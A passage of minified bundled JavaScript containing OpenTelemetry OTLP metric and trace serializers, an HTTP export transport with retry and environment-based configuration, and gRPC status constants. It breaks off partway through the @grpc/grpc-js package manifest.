P82;(function(A){A[A.AGGREGATION_TEMPORALITY_UNSPECIFIED=0]="AGGREGATION_TEMPORALITY_UNSPECIFIED",A[A.AGGREGATION_TEMPORALITY_DELTA=1]="AGGREGATION_TEMPORALITY_DELTA",A[A.AGGREGATION_TEMPORALITY_CUMULATIVE=2]="AGGREGATION_TEMPORALITY_CUMULATIVE"})(P82=tg7.EAggregationTemporality||(tg7.EAggregationTemporality={}))});var WE6=v((HF7)=>{Object.defineProperty(HF7,"__esModule",{value:!0});HF7.createExportMetricsServiceRequest=HF7.toMetric=HF7.toScopeMetrics=HF7.toResourceMetrics=void 0;var AF7=RK(),aDA=ss(),KF7=eg7(),V82=WD1(),UgA=DD1();function YF7(A,K){let q=(0,V82.getOtlpEncoder)(K),Y=(0,UgA.createResource)(A.resource);return{resource:Y,schemaUrl:Y.schemaUrl,scopeMetrics:zF7(A.scopeMetrics,q)}}HF7.toResourceMetrics=YF7;function zF7(A,K){return Array.from(A.map((q)=>({scope:(0,UgA.createInstrumentationScope)(q.scope),metrics:q.metrics.map((Y)=>wF7(Y,K)),schemaUrl:q.scope.schemaUrl})))}HF7.toScopeMetrics=zF7;function wF7(A,K){let q={name:A.descriptor.name,description:A.descriptor.description,unit:A.descriptor.unit},Y=v82(A.aggregationTemporality);switch(A.dataPointType){case aDA.DataPointType.SUM:q.sum={aggregationTemporality:Y,isMonotonic:A.isMonotonic,dataPoints:qF7(A,K)};break;case aDA.DataPointType.GAUGE:q.gauge={dataPoints:qF7(A,K)};break;case aDA.DataPointType.HISTOGRAM:q.histogram={aggregationTemporality:Y,dataPoints:N82(A,K)};break;case aDA.DataPointType.EXPONENTIAL_HISTOGRAM:q.exponentialHistogram={aggregationTemporality:Y,dataPoints:T82(A,K)};break}return q}HF7.toMetric=wF7;function f82(A,K,q){let Y={attributes:(0,UgA.toAttributes)(A.attributes),startTimeUnixNano:q.encodeHrTime(A.startTime),timeUnixNano:q.encodeHrTime(A.endTime)};switch(K){case AF7.ValueType.INT:Y.asInt=A.value;break;case AF7.ValueType.DOUBLE:Y.asDouble=A.value;break}return Y}function qF7(A,K){return A.dataPoints.map((q)=>{return f82(q,A.descriptor.valueType,K)})}function N82(A,K){return A.dataPoints.map((q)=>{let Y=q.value;return{attributes:(0,UgA.toAttributes)(q.attributes),bucketCounts:Y.buckets.counts,explicitBounds:Y.buckets.boundaries,count:Y.count,sum:Y.sum,min:Y.min,max:Y.max,startTimeUnixNano:K.encodeHrTime(q.startTime),timeUnixNano:K.encodeHrTime(q.endTime)}})}function T82(A,K){return A.dataPoints.map((q)=>{let Y=q.value;return{attributes:(0,UgA.toAttributes)(q.attributes),count:Y.count,min:Y.min,max:Y.max,sum:Y.sum,positive:{offset:Y.positive.offset,bucketCounts:Y.positive.bucketCounts},negative:{offset:Y.negative.offset,bucketCounts:Y.negative.bucketCounts},scale:Y.scale,zeroCount:Y.zeroCount,startTimeUnixNano:K.encodeHrTime(q.startTime),timeUnixNano:K.encodeHrTime(q.endTime)}})}function v82(A){switch(A){case aDA.AggregationTemporality.DELTA:return KF7.EAggregationTemporality.AGGREGATION_TEMPORALITY_DELTA;case aDA.AggregationTemporality.CUMULATIVE:return KF7.EAggregationTemporality.AGGREGATION_TEMPORALITY_CUMULATIVE}}function E82(A,K){return{resourceMetrics:A.map((q)=>YF7(q,K))}}HF7.createExportMetricsServiceRequest=E82});var _F7=v((XF7)=>{Object.defineProperty(XF7,"__esModule",{value:!0});XF7.ProtobufMetricsSerializer=void 0;var OF7=ZD1(),R82=WE6(),y82=OF7.opentelemetry.proto.collector.metrics.v1.ExportMetricsServiceResponse,I82=OF7.opentelemetry.proto.collector.metrics.v1.ExportMetricsServiceRequest;XF7.ProtobufMetricsSerializer={serializeRequest:(A)=>{let K=(0,R82.createExportMetricsServiceRequest)([A]);return I82.encode(K).finish()},deserializeResponse:(A)=>{return y82.decode(A)}}});var GF7=v((DE6)=>{Object.defineProperty(DE6,"__esModule",{value:!0});DE6.ProtobufMetricsSerializer=void 0;var S82=_F7();Object.defineProperty(DE6,"ProtobufMetricsSerializer",{enumerable:!0,get:function(){return S82.ProtobufMetricsSerializer}})});var jE6=v((MF7)=>{Object.defineProperty(MF7,"__esModule",{value:!0});MF7.createExportTraceServiceRequest=MF7.toOtlpSpanEvent=MF7.toOtlpLink=MF7.sdkSpanToOtlpSpan=void 0;var pgA=DD1(),b82=WD1(),x82=256,u82=512;function ZF7(A,K){let q=A&255|x82;if(K)q|=u82;return q}function WF7(A,K){let q=A.spanContext(),Y=A.status,z=A.parentSpanContext?.spanId?K.encodeSpanContext(A.parentSpanContext?.spanId):void 0;return{traceId:K.encodeSpanContext(q.traceId),spanId:K.encodeSpanContext(q.spanId),parentSpanId:z,traceState:q.traceState?.serialize(),name:A.name,kind:A.kind==null?0:A.kind+1,startTimeUnixNano:K.encodeHrTime(A.startTime),endTimeUnixNano:K.encodeHrTime(A.endTime),attributes:(0,pgA.toAttributes)(A.attributes),droppedAttributesCount:A.droppedAttributesCount,events:A.events.map((w)=>jF7(w,K)),droppedEventsCount:A.droppedEventsCount,status:{code:Y.code,message:Y.message},links:A.links.map((w)=>DF7(w,K)),droppedLinksCount:A.droppedLinksCount,flags:ZF7(q.traceFlags,A.parentSpanContext?.isRemote)}}MF7.sdkSpanToOtlpSpan=WF7;function DF7(A,K){return{attributes:A.attributes?(0,pgA.toAttributes)(A.attributes):[],spanId:K.encodeSpanContext(A.context.spanId),traceId:K.encodeSpanContext(A.context.traceId),traceState:A.context.traceState?.serialize(),droppedAttributesCount:A.droppedAttributesCount||0,flags:ZF7(A.context.traceFlags,A.context.isRemote)}}MF7.toOtlpLink=DF7;function jF7(A,K){return{attributes:A.attributes?(0,pgA.toAttributes)(A.attributes):[],name:A.name,timeUnixNano:K.encodeHrTime(A.time),droppedAttributesCount:A.droppedAttributesCount||0}}MF7.toOtlpSpanEvent=jF7;function B82(A,K){let q=(0,b82.getOtlpEncoder)(K);return{resourceSpans:g82(A,q)}}MF7.createExportTraceServiceRequest=B82;function m82(A){let K=new Map;for(let q of A){let Y=K.get(q.resource);if(!Y)Y=new Map,K.set(q.resource,Y);let z=`${q.instrumentationScope.name}@${q.instrumentationScope.version||""}:${q.instrumentationScope.schemaUrl||""}`,w=Y.get(z);if(!w)w=[],Y.set(z,w);w.push(q)}return K}function g82(A,K){let q=m82(A),Y=[],z=q.entries(),w=z.next();while(!w.done){let[H,J]=w.value,O=[],X=J.values(),$=X.next();while(!$.done){let Z=$.value;if(Z.length>0){let W=Z.map((D)=>WF7(D,K));O.push({scope:(0,pgA.createInstrumentationScope)(Z[0].instrumentationScope),spans:W,schemaUrl:Z[0].instrumentationScope.schemaUrl})}$=X.next()}let _=(0,pgA.createResource)(H),G={resource:_,scopeSpans:O,schemaUrl:_.schemaUrl};Y.push(G),w=z.next()}return Y}});var TF7=v((fF7)=>{Object.defineProperty(fF7,"__esModule",{value:!0});fF7.ProtobufTraceSerializer=void 0;var VF7=ZD1(),p82=jE6(),d82=VF7.opentelemetry.proto.collector.trace.v1.ExportTraceServiceResponse,c82=VF7.opentelemetry.proto.collector.trace.v1.ExportTraceServiceRequest;fF7.ProtobufTraceSerializer={serializeRequest:(A)=>{let K=(0,p82.createExportTraceServiceRequest)(A);return c82.encode(K).finish()},deserializeResponse:(A)=>{return d82.decode(A)}}});var vF7=v((ME6)=>{Object.defineProperty(ME6,"__esModule",{value:!0});ME6.ProtobufTraceSerializer=void 0;var l82=TF7();Object.defineProperty(ME6,"ProtobufTraceSerializer",{enumerable:!0,get:function(){return l82.ProtobufTraceSerializer}})});var CF7=v((EF7)=>{Object.defineProperty(EF7,"__esModule",{value:!0});EF7.JsonLogsSerializer=void 0;var n82=_E6();EF7.JsonLogsSerializer={serializeRequest:(A)=>{let K=(0,n82.createExportLogsServiceRequest)(A,{useHex:!0,useLongBits:!1});return new TextEncoder().encode(JSON.stringify(K))},deserializeResponse:(A)=>{if(A.length===0)return{};return JSON.parse(new TextDecoder().decode(A))}}});var LF7=v((PE6)=>{Object.defineProperty(PE6,"__esModule",{value:!0});PE6.JsonLogsSerializer=void 0;var r82=CF7();Object.defineProperty(PE6,"JsonLogsSerializer",{enumerable:!0,get:function(){return r82.JsonLogsSerializer}})});var IF7=v((RF7)=>{Object.defineProperty(RF7,"__esModule",{value:!0});RF7.JsonMetricsSerializer=void 0;var a82=WE6();RF7.JsonMetricsSerializer={serializeRequest:(A)=>{let K=(0,a82.createExportMetricsServiceRequest)([A],{useLongBits:!1});return new TextEncoder().encode(JSON.stringify(K))},deserializeResponse:(A)=>{if(A.length===0)return{};return JSON.parse(new TextDecoder().decode(A))}}});var SF7=v((VE6)=>{Object.defineProperty(VE6,"__esModule",{value:!0});VE6.JsonMetricsSerializer=void 0;var s82=IF7();Object.defineProperty(VE6,"JsonMetricsSerializer",{enumerable:!0,get:function(){return s82.JsonMetricsSerializer}})});var xF7=v((hF7)=>{Object.defineProperty(hF7,"__esModule",{value:!0});hF7.JsonTraceSerializer=void 0;var e82=jE6();hF7.JsonTraceSerializer={serializeRequest:(A)=>{let K=(0,e82.createExportTraceServiceRequest)(A,{useHex:!0,useLongBits:!1});return new TextEncoder().encode(JSON.stringify(K))},deserializeResponse:(A)=>{if(A.length===0)return{};return JSON.parse(new TextDecoder().decode(A))}}});var uF7=v((fE6)=>{Object.defineProperty(fE6,"__esModule",{value:!0});fE6.JsonTraceSerializer=void 0;var A42=xF7();Object.defineProperty(fE6,"JsonTraceSerializer",{enumerable:!0,get:function(){return A42.JsonTraceSerializer}})});var LB=v((Kt)=>{Object.defineProperty(Kt,"__esModule",{value:!0});Kt.JsonTraceSerializer=Kt.JsonMetricsSerializer=Kt.JsonLogsSerializer=Kt.ProtobufTraceSerializer=Kt.ProtobufMetricsSerializer=Kt.ProtobufLogsSerializer=void 0;var q42=sg7();Object.defineProperty(Kt,"ProtobufLogsSerializer",{enumerable:!0,get:function(){return q42.ProtobufLogsSerializer}});var Y42=GF7();Object.defineProperty(Kt,"ProtobufMetricsSerializer",{enumerable:!0,get:function(){return Y42.ProtobufMetricsSerializer}});var z42=vF7();Object.defineProperty(Kt,"ProtobufTraceSerializer",{enumerable:!0,get:function(){return z42.ProtobufTraceSerializer}});var w42=LF7();Object.defineProperty(Kt,"JsonLogsSerializer",{enumerable:!0,get:function(){return w42.JsonLogsSerializer}});var H42=SF7();Object.defineProperty(Kt,"JsonMetricsSerializer",{enumerable:!0,get:function(){return H42.JsonMetricsSerializer}});var J42=uF7();Object.defineProperty(Kt,"JsonTraceSerializer",{enumerable:!0,get:function(){return J42.JsonTraceSerializer}})});var gF7=v((BF7)=>{Object.defineProperty(BF7,"__esModule",{value:!0});BF7.validateAndNormalizeHeaders=void 0;var X42=RK();function $42(A){let K={};return Object.entries(A??{}).forEach(([q,Y])=>{if(typeof Y<"u")K[q]=String(Y);else X42.diag.warn(`Header "${q}" has invalid value (${Y}) and will be ignored`)}),K}BF7.validateAndNormalizeHeaders=$42});var pF7=v((QF7)=>{Object.defineProperty(QF7,"__esModule",{value:!0});QF7.getHttpConfigurationDefaults=QF7.mergeOtlpHttpConfigurationWithDefaults=void 0;var FF7=BgA(),_42=gF7();function G42(A,K,q){return async()=>{let Y={...await q()},z={};if(K!=null)Object.assign(z,await K());if(A!=null)Object.assign(z,(0,_42.validateAndNormalizeHeaders)(await A()));return Object.assign(z,Y)}}function Z42(A){if(A==null)return;try{let K=globalThis.location?.href;return new URL(A,K).href}catch{throw Error(`Configuration: Could not parse user-provided export URL: '${A}'`)}}function W42(A,K,q){return{...(0,FF7.mergeOtlpSharedConfigurationWithDefaults)(A,K,q),headers:G42(A.headers,K.headers,q.headers),url:Z42(A.url)??K.url??q.url}}QF7.mergeOtlpHttpConfigurationWithDefaults=W42;function D42(A,K){return{...(0,FF7.getSharedConfigurationDefaults)(),headers:async()=>A,url:"http://localhost:4318/"+K}}QF7.getHttpConfigurationDefaults=D42});var MD1=v((lF7)=>{Object.defineProperty(lF7,"__esModule",{value:!0});lF7.getNodeHttpConfigurationDefaults=lF7.mergeOtlpNodeHttpConfigurationWithDefaults=lF7.httpAgentFactoryFromOptions=void 0;var dF7=pF7();function cF7(A){return async(K)=>{let q=K==="http:",Y=q?import("http"):import("https"),{Agent:z}=await Y;if(q){let{ca:w,cert:H,key:J,...O}=A;return new z(O)}return new z(A)}}lF7.httpAgentFactoryFromOptions=cF7;function M42(A,K,q){return{...(0,dF7.mergeOtlpHttpConfigurationWithDefaults)(A,K,q),agentFactory:A.agentFactory??K.agentFactory??q.agentFactory,userAgent:A.userAgent}}lF7.mergeOtlpNodeHttpConfigurationWithDefaults=M42;function P42(A,K){return{...(0,dF7.getHttpConfigurationDefaults)(A,K),agentFactory:cF7({keepAlive:!0})}}lF7.getNodeHttpConfigurationDefaults=P42});var oF7=v((nF7)=>{Object.defineProperty(nF7,"__esModule",{value:!0});nF7.parseRetryAfterToMills=nF7.isExportRetryable=void 0;function N42(A){return[429,502,503,504].includes(A)}nF7.isExportRetryable=N42;function T42(A){if(A==null)return;let K=Number.parseInt(A,10);if(Number.isInteger(K))return K>0?K*1000:-1;let q=new Date(A).getTime()-Date.now();if(q>=0)return q;return 0}nF7.parseRetryAfterToMills=T42});var tF7=v((aF7)=>{Object.defineProperty(aF7,"__esModule",{value:!0});aF7.VERSION=void 0;aF7.VERSION="0.208.0"});var zQ7=v((qQ7)=>{Object.defineProperty(qQ7,"__esModule",{value:!0});qQ7.compressAndSend=qQ7.sendWithHttp=void 0;var E42=CA("zlib"),k42=CA("stream"),eF7=oF7(),C42=wD1(),L42=tF7(),AQ7=`OTel-OTLP-Exporter-JavaScript/${L42.VERSION}`;function R42(A,K,q,Y,z,w,H,J,O){let X=new URL(K);if(z)q["User-Agent"]=`${z} ${AQ7}`;else q["User-Agent"]=AQ7;let $={hostname:X.hostname,port:X.port,path:X.pathname,method:"POST",headers:q,agent:w},_=A($,(G)=>{let Z=[];G.on("data",(W)=>Z.push(W)),G.on("end",()=>{if(G.statusCode&&G.statusCode<299)J({status:"success",data:Buffer.concat(Z)});else if(G.statusCode&&(0,eF7.isExportRetryable)(G.statusCode))J({status:"retryable",retryInMillis:(0,eF7.parseRetryAfterToMills)(G.headers["retry-after"])});else{let W=new C42.OTLPExporterError(G.statusMessage,G.statusCode,Buffer.concat(Z).toString());J({status:"failure",error:W})}})});_.setTimeout(O,()=>{_.destroy(),J({status:"failure",error:Error("Request Timeout")})}),_.on("error",(G)=>{J({status:"failure",error:G})}),KQ7(_,Y,H,(G)=>{J({status:"failure",error:G})})}qQ7.sendWithHttp=R42;function KQ7(A,K,q,Y){let z=y42(q);if(K==="gzip")A.setHeader("Content-Encoding","gzip"),z=z.on("error",Y).pipe(E42.createGzip()).on("error",Y);z.pipe(A).on("error",Y)}qQ7.compressAndSend=KQ7;function y42(A){let K=new k42.Readable;return K.push(A),K.push(null),K}});var OQ7=v((HQ7)=>{Object.defineProperty(HQ7,"__esModule",{value:!0});HQ7.createHttpExporterTransport=void 0;var S42=zQ7();class wQ7{_parameters;_utils=null;constructor(A){this._parameters=A}async send(A,K){let{agent:q,request:Y}=await this._loadUtils(),z=await this._parameters.headers();return new Promise((w)=>{(0,S42.sendWithHttp)(Y,this._parameters.url,z,this._parameters.compression,this._parameters.userAgent,q,A,(H)=>{w(H)},K)})}shutdown(){}async _loadUtils(){let A=this._utils;if(A===null){let K=new URL(this._parameters.url).protocol,[q,Y]=await Promise.all([this._parameters.agentFactory(K),h42(K)]);A=this._utils={agent:q,request:Y}}return A}}async function h42(A){let K=A==="http:"?import("http"):import("https"),{request:q}=await K;return q}function b42(A){return new wQ7(A)}HQ7.createHttpExporterTransport=b42});var ZQ7=v((_Q7)=>{Object.defineProperty(_Q7,"__esModule",{value:!0});_Q7.createRetryingTransport=void 0;var x42=5,u42=1000,B42=5000,m42=1.5,XQ7=0.2;function g42(){return Math.random()*(2*XQ7)-XQ7}class $Q7{_transport;constructor(A){this._transport=A}retry(A,K,q){return new Promise((Y,z)=>{setTimeout(()=>{this._transport.send(A,K).then(Y,z)},q)})}async send(A,K){let q=Date.now()+K,Y=await this._transport.send(A,K),z=x42,w=u42;while(Y.status==="retryable"&&z>0){z--;let H=Math.max(Math.min(w,B42)+g42(),0);w=w*m42;let J=Y.retryInMillis??H,O=q-Date.now();if(J>O)return Y;Y=await this.retry(A,O,J)}return Y}shutdown(){return this._transport.shutdown()}}function F42(A){return new $Q7(A.transport)}_Q7.createRetryingTransport=F42});var jQ7=v((WQ7)=>{Object.defineProperty(WQ7,"__esModule",{value:!0});WQ7.createOtlpHttpExportDelegate=void 0;var Q42=gv6(),U42=OQ7(),p42=mv6(),d42=ZQ7();function c42(A,K){return(0,Q42.createOtlpExportDelegate)({transport:(0,d42.createRetryingTransport)({transport:(0,U42.createHttpExporterTransport)(A)}),serializer:K,promiseHandler:(0,p42.createBoundedQueueExportPromiseHandler)(A)},{timeout:A.timeoutMillis})}WQ7.createOtlpHttpExportDelegate=c42});var NE6=v((NQ7)=>{Object.defineProperty(NQ7,"__esModule",{value:!0});NQ7.getSharedConfigurationFromEnvironment=void 0;var VQ7=P9(),fQ7=RK();function MQ7(A){let K=(0,VQ7.getNumberFromEnv)(A);if(K!=null){if(Number.isFinite(K)&&K>0)return K;fQ7.diag.warn(`Configuration: ${A} is invalid, expected number greater than 0 (actual: ${K})`)}return}function l42(A){let K=MQ7(`OTEL_EXPORTER_OTLP_${A}_TIMEOUT`),q=MQ7("OTEL_EXPORTER_OTLP_TIMEOUT");return K??q}function PQ7(A){let K=(0,VQ7.getStringFromEnv)(A)?.trim();if(K==null||K==="none"||K==="gzip")return K;fQ7.diag.warn(`Configuration: ${A} is invalid, expected 'none' or 'gzip' (actual: '${K}')`);return}function i42(A){let K=PQ7(`OTEL_EXPORTER_OTLP_${A}_COMPRESSION`),q=PQ7("OTEL_EXPORTER_OTLP_COMPRESSION");return K??q}function n42(A){return{timeoutMillis:l42(A),compression:i42(A)}}NQ7.getSharedConfigurationFromEnvironment=n42});var kQ7=v((vQ7)=>{Object.defineProperty(vQ7,"__esModule",{value:!0});vQ7.getNodeHttpConfigurationFromEnvironment=void 0;var r42=CA("fs"),o42=CA("path"),RB=P9(),PD1=RK(),a42=NE6(),s42=BgA(),t42=MD1();function e42(A){let K=(0,RB.getStringFromEnv)(`OTEL_EXPORTER_OTLP_${A}_HEADERS`),q=(0,RB.getStringFromEnv)("OTEL_EXPORTER_OTLP_HEADERS"),Y=(0,RB.parseKeyPairsIntoRecord)(K),z=(0,RB.parseKeyPairsIntoRecord)(q);if(Object.keys(Y).length===0&&Object.keys(z).length===0)return;return Object.assign({},(0,RB.parseKeyPairsIntoRecord)(q),(0,RB.parseKeyPairsIntoRecord)(K))}function A72(A){try{return new URL(A).toString()}catch{PD1.diag.warn(`Configuration: Could not parse environment-provided export URL: '${A}', falling back to undefined`);return}}function K72(A,K){try{new URL(A)}catch{PD1.diag.warn(`Configuration: Could not parse environment-provided export URL: '${A}', falling back to undefined`);return}if(!A.endsWith("/"))A=A+"/";A+=K;try{new URL(A)}catch{PD1.diag.warn(`Configuration: Provided URL appended with '${K}' is not a valid URL, using 'undefined' instead of '${A}'`);return}return A}function q72(A){let K=(0,RB.getStringFromEnv)("OTEL_EXPORTER_OTLP_ENDPOINT");if(K===void 0)return;return K72(K,A)}function Y72(A){let K=(0,RB.getStringFromEnv)(`OTEL_EXPORTER_OTLP_${A}_ENDPOINT`);if(K===void 0)return;return A72(K)}function TE6(A,K,q){let Y=(0,RB.getStringFromEnv)(A),z=(0,RB.getStringFromEnv)(K),w=Y??z;if(w!=null)try{return r42.readFileSync(o42.resolve(process.cwd(),w))}catch{PD1.diag.warn(q);return}else return}function z72(A){return TE6(`OTEL_EXPORTER_OTLP_${A}_CLIENT_CERTIFICATE`,"OTEL_EXPORTER_OTLP_CLIENT_CERTIFICATE","Failed to read client certificate chain file")}function w72(A){return TE6(`OTEL_EXPORTER_OTLP_${A}_CLIENT_KEY`,"OTEL_EXPORTER_OTLP_CLIENT_KEY","Failed to read client certificate private key file")}function H72(A){return TE6(`OTEL_EXPORTER_OTLP_${A}_CERTIFICATE`,"OTEL_EXPORTER_OTLP_CERTIFICATE","Failed to read root certificate file")}function J72(A,K){return{...(0,a42.getSharedConfigurationFromEnvironment)(A),url:Y72(A)??q72(K),headers:(0,s42.wrapStaticHeadersInFunction)(e42(A)),agentFactory:(0,t42.httpAgentFactoryFromOptions)({keepAlive:!0,ca:H72(A),cert:z72(A),key:w72(A)})}}vQ7.getNodeHttpConfigurationFromEnvironment=J72});var RQ7=v((CQ7)=>{Object.defineProperty(CQ7,"__esModule",{value:!0});CQ7.convertLegacyHeaders=void 0;var O72=BgA();function X72(A){if(typeof A.headers==="function")return A.headers;return(0,O72.wrapStaticHeadersInFunction)(A.headers)}CQ7.convertLegacyHeaders=X72});var hQ7=v((IQ7)=>{Object.defineProperty(IQ7,"__esModule",{value:!0});IQ7.convertLegacyHttpOptions=void 0;var $72=RK(),yQ7=MD1(),_72=sp(),G72=kQ7(),Z72=RQ7();function W72(A){if(typeof A.httpAgentOptions==="function")return A.httpAgentOptions;let K=A.httpAgentOptions;if(A.keepAlive!=null)K={keepAlive:A.keepAlive,...K};if(K!=null)return(0,_72.httpAgentFactoryFromOptions)(K);else return}function D72(A,K,q,Y){if(A.metadata)$72.diag.warn("Metadata cannot be set when using http");return(0,yQ7.mergeOtlpNodeHttpConfigurationWithDefaults)({url:A.url,headers:(0,Z72.convertLegacyHeaders)(A),concurrencyLimit:A.concurrencyLimit,timeoutMillis:A.timeoutMillis,compression:A.compression,agentFactory:W72(A),userAgent:A.userAgent},(0,G72.getNodeHttpConfigurationFromEnvironment)(K,q),(0,yQ7.getNodeHttpConfigurationDefaults)(Y,q))}IQ7.convertLegacyHttpOptions=D72});var sp=v((sDA)=>{Object.defineProperty(sDA,"__esModule",{value:!0});sDA.convertLegacyHttpOptions=sDA.getSharedConfigurationFromEnvironment=sDA.createOtlpHttpExportDelegate=sDA.httpAgentFactoryFromOptions=void 0;var j72=MD1();Object.defineProperty(sDA,"httpAgentFactoryFromOptions",{enumerable:!0,get:function(){return j72.httpAgentFactoryFromOptions}});var M72=jQ7();Object.defineProperty(sDA,"createOtlpHttpExportDelegate",{enumerable:!0,get:function(){return M72.createOtlpHttpExportDelegate}});var P72=NE6();Object.defineProperty(sDA,"getSharedConfigurationFromEnvironment",{enumerable:!0,get:function(){return P72.getSharedConfigurationFromEnvironment}});var V72=hQ7();Object.defineProperty(sDA,"convertLegacyHttpOptions",{enumerable:!0,get:function(){return V72.convertLegacyHttpOptions}})});var mQ7=v((uQ7)=>{Object.defineProperty(uQ7,"__esModule",{value:!0});uQ7.OTLPMetricExporter=void 0;var N72=Uv6(),T72=LB(),bQ7=sp();class xQ7 extends N72.OTLPMetricExporterBase{constructor(A){super((0,bQ7.createOtlpHttpExportDelegate)((0,bQ7.convertLegacyHttpOptions)(A??{},"METRICS","v1/metrics",{"Content-Type":"application/json"}),T72.JsonMetricsSerializer),A)}}uQ7.OTLPMetricExporter=xQ7});var gQ7=v((vE6)=>{Object.defineProperty(vE6,"__esModule",{value:!0});vE6.OTLPMetricExporter=void 0;var v72=mQ7();Object.defineProperty(vE6,"OTLPMetricExporter",{enumerable:!0,get:function(){return v72.OTLPMetricExporter}})});var FQ7=v((EE6)=>{Object.defineProperty(EE6,"__esModule",{value:!0});EE6.OTLPMetricExporter=void 0;var k72=gQ7();Object.defineProperty(EE6,"OTLPMetricExporter",{enumerable:!0,get:function(){return k72.OTLPMetricExporter}})});var fD1=v((qt)=>{Object.defineProperty(qt,"__esModule",{value:!0});qt.OTLPMetricExporterBase=qt.LowMemoryTemporalitySelector=qt.DeltaTemporalitySelector=qt.CumulativeTemporalitySelector=qt.AggregationTemporalityPreference=qt.OTLPMetricExporter=void 0;var L72=FQ7();Object.defineProperty(qt,"OTLPMetricExporter",{enumerable:!0,get:function(){return L72.OTLPMetricExporter}});var R72=uv6();Object.defineProperty(qt,"AggregationTemporalityPreference",{enumerable:!0,get:function(){return R72.AggregationTemporalityPreference}});var VD1=Uv6();Object.defineProperty(qt,"CumulativeTemporalitySelector",{enumerable:!0,get:function(){return VD1.CumulativeTemporalitySelector}});Object.defineProperty(qt,"DeltaTemporalitySelector",{enumerable:!0,get:function(){return VD1.DeltaTemporalitySelector}});Object.defineProperty(qt,"LowMemoryTemporalitySelector",{enumerable:!0,get:function(){return VD1.LowMemoryTemporalitySelector}});Object.defineProperty(qt,"OTLPMetricExporterBase",{enumerable:!0,get:function(){return VD1.OTLPMetricExporterBase}})});var cQ7=v((pQ7)=>{Object.defineProperty(pQ7,"__esModule",{value:!0});pQ7.OTLPMetricExporter=void 0;var I72=fD1(),S72=LB(),QQ7=sp();class UQ7 extends I72.OTLPMetricExporterBase{constructor(A){super((0,QQ7.createOtlpHttpExportDelegate)((0,QQ7.convertLegacyHttpOptions)(A??{},"METRICS","v1/metrics",{"Content-Type":"application/x-protobuf"}),S72.ProtobufMetricsSerializer),A)}}pQ7.OTLPMetricExporter=UQ7});var lQ7=v((kE6)=>{Object.defineProperty(kE6,"__esModule",{value:!0});kE6.OTLPMetricExporter=void 0;var h72=cQ7();Object.defineProperty(kE6,"OTLPMetricExporter",{enumerable:!0,get:function(){return h72.OTLPMetricExporter}})});var iQ7=v((CE6)=>{Object.defineProperty(CE6,"__esModule",{value:!0});CE6.OTLPMetricExporter=void 0;var x72=lQ7();Object.defineProperty(CE6,"OTLPMetricExporter",{enumerable:!0,get:function(){return x72.OTLPMetricExporter}})});var nQ7=v((LE6)=>{Object.defineProperty(LE6,"__esModule",{value:!0});LE6.OTLPMetricExporter=void 0;var B72=iQ7();Object.defineProperty(LE6,"OTLPMetricExporter",{enumerable:!0,get:function(){return B72.OTLPMetricExporter}})});var aQ7=v((rQ7)=>{Object.defineProperty(rQ7,"__esModule",{value:!0});rQ7.VERSION=void 0;rQ7.VERSION="0.208.0"});var K9=v((AU7)=>{Object.defineProperty(AU7,"__esModule",{value:!0});AU7.DEFAULT_MAX_RECEIVE_MESSAGE_LENGTH=AU7.DEFAULT_MAX_SEND_MESSAGE_LENGTH=AU7.Propagate=AU7.LogVerbosity=AU7.Status=void 0;var sQ7;(function(A){A[A.OK=0]="OK",A[A.CANCELLED=1]="CANCELLED",A[A.UNKNOWN=2]="UNKNOWN",A[A.INVALID_ARGUMENT=3]="INVALID_ARGUMENT",A[A.DEADLINE_EXCEEDED=4]="DEADLINE_EXCEEDED",A[A.NOT_FOUND=5]="NOT_FOUND",A[A.ALREADY_EXISTS=6]="ALREADY_EXISTS",A[A.PERMISSION_DENIED=7]="PERMISSION_DENIED",A[A.RESOURCE_EXHAUSTED=8]="RESOURCE_EXHAUSTED",A[A.FAILED_PRECONDITION=9]="FAILED_PRECONDITION",A[A.ABORTED=10]="ABORTED",A[A.OUT_OF_RANGE=11]="OUT_OF_RANGE",A[A.UNIMPLEMENTED=12]="UNIMPLEMENTED",A[A.INTERNAL=13]="INTERNAL",A[A.UNAVAILABLE=14]="UNAVAILABLE",A[A.DATA_LOSS=15]="DATA_LOSS",A[A.UNAUTHENTICATED=16]="UNAUTHENTICATED"})(sQ7||(AU7.Status=sQ7={}));var tQ7;(function(A){A[A.DEBUG=0]="DEBUG",A[A.INFO=1]="INFO",A[A.ERROR=2]="ERROR",A[A.NONE=3]="NONE"})(tQ7||(AU7.LogVerbosity=tQ7={}));var eQ7;(function(A){A[A.DEADLINE=1]="DEADLINE",A[A.CENSUS_STATS_CONTEXT=2]="CENSUS_STATS_CONTEXT",A[A.CENSUS_TRACING_CONTEXT=4]="CENSUS_TRACING_CONTEXT",A[A.CANCELLATION=8]="CANCELLATION",A[A.DEFAULTS=65535]="DEFAULTS"})(eQ7||(AU7.Propagate=eQ7={}));AU7.DEFAULT_MAX_SEND_MESSAGE_LENGTH=-1;AU7.DEFAULT_MAX_RECEIVE_MESSAGE_LENGTH=4194304});var RE6=v((kvH,p72)=>{p72.exports={name:"@grpc/grpc-js",version:"1.14.0",description:"gRPC Library for Node - pure JS implementation",homepage:"https://grpc.io/",repository:"https://github.com/grpc/grpc-node/tree/master/packages/grpc-js",main:"build/src/index.js",engines:{node:">=12.10.0"},keywords:[],author:{name:"Google Inc."},types:"build/src/index.d.ts",license:"Apache-2.0",devDependencies:{"@grpc/proto-loader":"file:../proto-loader","@types/gulp":"^4.0.17","@types/gulp-mocha":"0.0.37","@types/lodash":"^4.14.202","@types/mocha":"^10.0.6","@types/ncp":"^2.0.8","@types/node":">=20.11.20","@types/pify":"^5.0.4","@types/semver":"^7.5.8","@typescript-eslint/eslint-plugin":"^7.1.0","@typescript-eslint/parser":"^7.1.0","@typescript-eslint/typescript-estree":"^7.1.0","clang-format":"^1.8.0",eslint:"^8.42.0","eslint-config-prettier":"^8.8.0","eslint-plugin-node":"^11.1.0","eslint-plugin-prettier":"^4.2.1",execa:"^2.0.3",gulp:"^4.0.2","gulp-mocha":"^6.0.0",lodash:"^4.17.21",madge:"^5.0.1","mocha-jenkins-reporter":"^0.4.1",ncp:"^2.0.0",pify:"^4.0.1",prettier:"^2.8.8",rimraf:"^3.0.2",semver:"^7.6.0","ts-node":"^10.9.2",typescript:"^5.3.3"},contributors:[{name:"Google Inc."}],scripts:{build:"npm run compile",clean:"rimraf ./build",compile:"tsc -p .",format:'clang-format -i -style="{Language: JavaScript, BasedOnStyle: Google, ColumnLimit: 80}" src/*.ts test/*.ts',lint:"eslint src/*.ts test/*.ts",prepare:"npm run copy-protos && npm run generate-types && npm run generate-test-types && npm run compile",test:"gulp test",check:"npm run lint",fix:"eslint --fix src/*.ts 